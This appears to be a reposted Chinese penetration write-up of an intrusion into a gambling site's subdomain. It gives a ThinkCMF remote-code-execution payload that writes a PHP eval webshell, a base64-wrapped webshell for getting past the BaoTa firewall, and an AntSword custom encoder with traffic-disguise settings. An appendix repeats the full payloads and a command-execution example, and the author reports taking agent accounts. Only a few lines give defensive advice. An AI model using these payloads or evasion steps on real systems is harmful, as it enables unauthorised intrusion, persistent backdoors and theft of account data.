记一次绕过宝塔防火墙的BC站渗透
字数 968 2025-08-06 08:35:44
绕过宝塔防火墙渗透测试技术文档
0x00 信息收集阶段
-
目标分析:
- 主站存在云WAF,测试即触发封禁
- 转战分站寻找突破口
- 发现一个查询代理账号的分站,输入
/admin自动跳转后台
-
技术识别:
- 通过URL参数特征初步判断为ThinkCMF框架
0x01 获取WebShell
-
利用ThinkCMF RCE漏洞:
- 漏洞利用Payload:
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test1.php','<?php @eval($_POST[zero])?>')</php> - 执行后出现白屏,表明可能执行成功
- 验证:访问
test1.php确认WebShell存在
- 漏洞利用Payload:
-
连接问题:
- 蚁剑直接连接失败
- 手动测试
phpinfo()确认存在宝塔防火墙拦截
0x02 绕过宝塔防火墙
-
绕过原理:
- 宝塔防火墙对特定函数和关键字进行过滤
- 采用Base64编码混淆流量
-
改造WebShell:
- 新版WebShell代码:
<?php @eval(base64_decode($_POST[zero]));?> - 测试Payload:
cGhwaW5mbygpOw==(phpinfo()的Base64编码)
- 新版WebShell代码:
-
验证绕过:
- 成功执行phpinfo(),确认绕过有效
0x03 蚁剑配置优化
-
问题分析:
- 默认Base64编码器不适用
- 蚁剑流量特征明显:
- User-Agent包含"antSword/v2.1"
- 参数中包含
eval和base64_decode等关键字
-
自定义编码器:
- PHP编码器代码:
'use strict'; module.exports = (pwd, data, ext={}) => { data[pwd] = Buffer.from(data['_']).toString('base64'); delete data['_']; return data; }
- PHP编码器代码:
-
配置调整:
- 修改User-Agent头
- 选择"增加垃圾数据"和"Multipart发包"选项
- 应用自定义编码器
0x04 后续渗透问题
-
目录访问限制:
- 蚁剑存在跨目录限制
- 解决方案:上传哥斯拉WebShell
- 注意:GET传参有长度限制和特殊字符问题
-
成果评估:
- 获取多个代理账号
- 未发现主站相关敏感信息
技术要点总结
-
关键绕过技术:
- 双重Base64编码(WebShell解码+传输编码)
- 流量特征消除
-
工具优化要点:
- 自定义编码器开发
- UA头修改
- 流量混淆技术
-
防御建议:
- 定期更新框架补丁
- 实施多层级WAF策略
- 监控异常Base64编码流量
- 限制模板文件执行权限
附录:完整Payload示例
-
初始WebShell写入:
/index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shell.php','<?php @eval(base64_decode($_POST[cmd]));?>')</php> -
执行命令:
- POST数据:
cmd=Y21kPSd3aG9hbWknOw==(对应cmd='whoami';)
- POST数据:
-
蚁剑配置:
- 编码器:选择上述自定义编码器
- 请求配置:启用随机参数和Multipart